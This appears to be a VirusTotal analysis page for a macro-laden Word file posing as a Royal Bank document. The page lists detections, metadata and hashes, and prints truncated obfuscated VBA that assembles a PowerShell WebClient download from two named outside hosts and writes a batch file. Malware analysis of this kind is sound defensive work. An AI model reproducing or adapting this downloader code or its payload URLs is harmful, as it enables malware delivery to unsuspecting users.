Antivirus scan for 0997950f4e799b62a616a8c17d3e685543ac7232ae31f7b8864350bf78c53b90 at 2017-09-07 11:03:05 UTC

Antivirus	Result	Update
Baidu	VBA.Trojan-Downloader.Agent.byb	20170907
Fortinet	WM/Agent.Q!tr	20170907
Kaspersky	HEUR:Trojan.Script.Agent.gen	20170907
Rising	Macro.Agent.dx (classic)	20170901
Sophos AV	Troj/DocDl-KHD	20170907
Tencent	Macro.Trojan.Dropperx.Auto	20170907
ZoneAlarm by Check Point	HEUR:Trojan-Downloader.Script.Generic	20170907
Ad-Aware		20170907
AegisLab		20170907
AhnLab-V3		20170907
Alibaba		20170907
ALYac		20170907
Antiy-AVL		20170907
Arcabit		20170907
Avast		20170907
AVG		20170907
Avira (no cloud)		20170907
AVware		20170906
BitDefender		20170907
Bkav		20170907
CAT-QuickHeal		20170906
ClamAV		20170907
CMC		20170902
Comodo		20170907
CrowdStrike Falcon (ML)		20170804
Cylance		20170907
Cyren		20170907
DrWeb		20170907
Emsisoft		20170907
Endgame		20170821
ESET-NOD32		20170907
F-Prot		20170907
F-Secure		20170907
GData		20170907
Ikarus		20170907
Sophos ML		20170822
Jiangmin		20170907
K7AntiVirus		20170907
K7GW		20170907
Kingsoft		20170907
Malwarebytes		20170907
MAX		20170907
McAfee		20170907
McAfee-GW-Edition		20170907
Microsoft		20170907
eScan		20170907
NANO-Antivirus		20170907
nProtect		20170907
Palo Alto Networks (Known Signatures)		20170907
Panda		20170906
Qihoo-360		20170907
SentinelOne (Static ML)		20170806
SUPERAntiSpyware		20170907
Symantec		20170907
Symantec Mobile Insight		20170907
TheHacker		20170904
TotalDefense		20170907
TrendMicro		20170907
TrendMicro-HouseCall		20170907
Trustlook		20170907
VBA32		20170906
VIPRE		20170907
ViRobot		20170907
Webroot		20170907
WhiteArmor		20170829
Yandex		20170906
Zillya		20170907
Zoner		20170907

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

Summary

last_author

Longer

creation_datetime

2017-09-07 08:52:00

revision_number

author

Longer

page_count

last_saved

2017-09-07 09:45:00

edit_time

1680

template

Normal.dotm

application_name

Microsoft Office Word

character_count

code_page

Latin I

Document summary

line_count

company

diakov.net

characters_with_spaces

version

786432

paragraph_count

code_page

Latin I

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/Module1

[+] Macros/VBA/Module2

[+] Macros/VBA/ThisDocument

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/dir

[+] Macros/VBA/myform1

[+] Macros/myform1/\x01CompObj

[+] Macros/myform1/\x03VBFrame

[+] Macros/myform1/f

[+] Macros/myform1/o

[+] WordDocument

Macros and VBA code streams

[+] ThisDocument.cls Macros/VBA/ThisDocument 30 bytes

[+] Module1.bas Macros/VBA/Module1 44 bytes

[+] Module2.bas Macros/VBA/Module2 2682 bytes

Function generateFuncName()
firstSymbol = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"
lastSymbol = "qwertyuiopasdfghjklzxcvbnm1234567890"
middleSymbol1 = "qwertyuiopasdfghjklzxcvbnm"
middleSymbol2 = middleSymbol1 + "-_"
Randomize
gCount = CInt(Int((9 * Rnd()) + 4))
symbolRand = CInt(Int(((Len(fisrSymbol) + 1) * Rnd()) + 1))
gName = Mid(firstSymbol, symbolRand, 1)
For i = 2 To gCount - 1
symbolRand = CInt(Int(((Len(middleSymbol1) + 1) * Rnd()) + 1))
gName = gName + Mid(middleSymbol1, symbolRand, 1)
Next i
symbolRand = CInt(Int(((Len(lastSymbol) + 1) * Rnd()) + 1))
gName = gName + Mid(lastSymbol, symbolRand, 1)
generateFuncName = gName
End Function
           
Function generateArgName()
firstSymbol = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"
lastSymbol = "qwertyuiopasdfghjklzxcvbnm1234567890"
middleSymbol1 = "qwertyuiopasdfghjklzxcvbnm"
middleSymbol2 = middleSymbol1 + "-_"
Randomize
gCount = CInt(Int((9 * Rnd()) + 4))
symbolRand = CInt(Int(((Len(fisrSymbol) + 1) * Rnd()) + 1))
gName = Mid(firstSymbol, symbolRand, 1)
For i = 2 To gCount - 1
symbolRand = CInt(Int(((Len(middleSymbol1) + 1) * Rnd()) + 1))
gName = gName + Mid(middleSymbol1, symbolRand, 1)
Next i
symbolRand = CInt(Int(((Len(lastSymbol) + 1) * Rnd()) + 1))
gName = gName + Mid(lastSymbol, symbolRand, 1)

generateArgName = gName
End Function

Function generateFileName1()
firstSymbol = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"
lastSymbol = "qwertyuiopasdfghjklzxcvbnm1234567890"
middleSymbol1 = "qwertyuiopasdfghjklzxcvbnm"
middleSymbol2 = middleSymbol1 + "-_"
Randomize
gCount = CInt(Int((9 * Rnd()) + 4))
symbolRand = CInt(Int(((Len(fisrSymbol) + 1) * Rnd()) + 1))
gName = Mid(firstSymbol, symbolRand, 1)
For i = 2 To gCount - 1
symbolRand = CInt(Int(((Len(middleSymbol2) + 1) * Rnd()) + 1))
gName = gName + Mid(middleSymbol2, symbolRand, 1)
Next i
symbolRand = CInt(Int(((Len(lastSymbol) + 1) * Rnd()) + 1))
gName = gName + Mid(lastSymbol, symbolRand, 1)

generateFileName1 = gName
 [... continues ...]

[+] myform1.frm Macros/VBA/myform1 6080 bytes

run-file

Private Sub TextBox1_Change()
Select Case "ikg"
Case "mmuxweb"
' ajrewolbyvv egelma oxwa uloccutpu jajo uwpyrryten
Dim ivgekm
ivgekm = #10/23/1973#
Rem mseruzvi ozmagi ekykpobh ybxuj apfyqnyzgu cokuju onjacqull
End Select
Dim lbomek0, ohvij4, osqozyffo7, kcore0, egemixb7, oqoptobhy1, unsel1, gahcyle6, uqpax, darekqa0, acyroqma, str6, ufwudr, ottilykqu, xfyhudo, reqjil6, nvibxavcas, yvurv, ekukmila, mirzys, cpyjob, yrerhuqqo0, csuloz7, yvyryggi, yhlegoq6
If 514 = 484 Then
Dim avniv
avniv = "8253"
End If
Dim ceke1, vizpexhag0, ubjabpusgu1, sifriwru7, fonatqiqg, axqopes, gvepristar4, ytetis, hywifn, yxyb, yvajybe3, qfyvuxtyzr, olpucwi4, lrevwafv, erizg1, atjufduqi2, wajtitbi0, ocepv1
' icup puq ewos uzetofo dcuriju pfexikit
argname = generateArgName
yxyb = "$" + argname + ",'"
If 437 = 810 Then
Dim adoljedw
adoljedw = "3388"
Dim inelowj
inelowj = "2827"
End If
yvajybe3 = "." + "d" + "o" + "WN"
funcname = generateFuncName
erizg1 = "try{" + funcname + "(''http://"
sifriwru7 = "t.WE" + "bCL"
ohvij4 = """""function " + funcname + "([String] $" + argname + "){"
Rem dahfi zwykor
oqoptobhy1 = "lO" + "AdF" + "i"
Select Case "ty"
Case "olsyza"
Dim icvydpi
icvydpi = True
' enuxnu nzikw ukicwisve rtumufgowbi eqosmef bivc
Rem ybymisli apnafdu pwuqeze ucmav obqot vhoqfy
End Select
If 106 = 531 Then
' enunirgy qmiqet ezyszu
Rem lokadomv ddekeb uvmopxihmac gqysadjefo libixqaca
' qjami
End If
atjufduqi2 = "docum"
Select Case "mzy"
Case "ewg"
Rem emyphexwol
Case "ze"
Dim alcyzi
alcyzi = False
' mtiwul okzapm
End Select
darekqa0 = "dupuis-informatique.ch/kas14.png'')}'"""" |"
Select Case "ozel"
Case "hzuceg"
Dim cerwiw
cerwiw = 3264
Dim ifjydy
ifjydy = "3017"
Dim aldatx
aldatx = "ku"
Rem qisi udbylcaw tgecikybku tixivyv udpec rura ygeduznytf
End Select
filename2 = generateFileName2
osqozyffo7 = "P%\" + filename2 + ".b" + "at'"""
Dim hgoxgu
hgoxgu = False
wajtitbi0 = "www.vkiiski.net/kas14.png'')}"
If 809 = 286 Then
Dim yryla
yryla = #5/4/2020#
Dim ezgyvg
ezgyvg = "evixlykf"
End If
ufwud [... continues ...]

ExifTool file metadata

SharedDoc

Author

Longer

HyperlinksChanged

System

Windows

LinksUpToDate

LastModifiedBy

Longer

HeadingPairs

Title, 1

Identification

Word 8.0

Template

Normal.dotm

CharCountWithSpaces

Word97

LanguageCode

English (US)

CompObjUserType

Microsoft Office Word 97-2003 Document

ModifyDate

2017:09:07 08:45:00

Company

diakov.net

Characters

CodePage

Windows Latin 1 (Western European)

RevisionNumber

MIMEType

application/msword

Words

CreateDate

2017:09:07 07:52:00

Lines

AppVersion

12.0

Security

None

Software

Microsoft Office Word

FileType

DOC

TotalEditTime

28.0 minutes

Pages

ScaleCrop

CompObjUserTypeLen

FileTypeExtension

doc

Paragraphs

DocFlags

Has picture, 1Table, ExtChar

Compressed bundles

This file was also submitted to VirusTotal in the following compressed file bundles.

38510c9d37748dccad3bc55e4ca14df71f2cd82fb79d664af62290b2b2d39bcb

File identification

MD5 e359f0e14e600d3911bdc2a8ecbc439a

SHA1 67ec9375133fedb7c67cf136f0d9ac058d610bc7

SHA256 0997950f4e799b62a616a8c17d3e685543ac7232ae31f7b8864350bf78c53b90

ssdeep

1536:ZFvkdZjNwz1nndj64wMxW4S96UjkH4vHW+K6kGILJvRCsrv99:ZFcfNwJMW4399nHnkLLJ5Ckv

File size 100.5 KB ( 102912 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Longer, Template: Normal.dotm, Last Saved By: Longer, Revision Number: 36, Name of Creating Application: Microsoft Office Word, Total Editing Time: 28:00, Create Time/Date: Wed Sep 06 07:52:00 2017, Last Saved Time/Date: Wed Sep 06 08:45:00 2017, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (80.0%) Generic OLE2 / Multistream Compound File (20.0%)

VirusTotal metadata

First submission 2017-09-07 11:03:05 UTC ( 1 year, 5 months ago )

Last submission 2017-09-15 11:36:25 UTC ( 1 year, 5 months ago )

File names

67ec9375133fedb7c67cf136f0d9ac058d610bc7
=?UTF-8?B?cm95YWxiYW5rMTI4NzY0NTQ3MzRfNTIzNS5kb2M=?=
royalbank12876454734_5235.doc

SHA256:	0997950f4e799b62a616a8c17d3e685543ac7232ae31f7b8864350bf78c53b90
File name:	67ec9375133fedb7c67cf136f0d9ac058d610bc7
Detection ratio:	7 / 59
Analysis date:	2017-09-07 11:03:05 UTC ( 1 year, 5 months ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

Compressed bundles

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in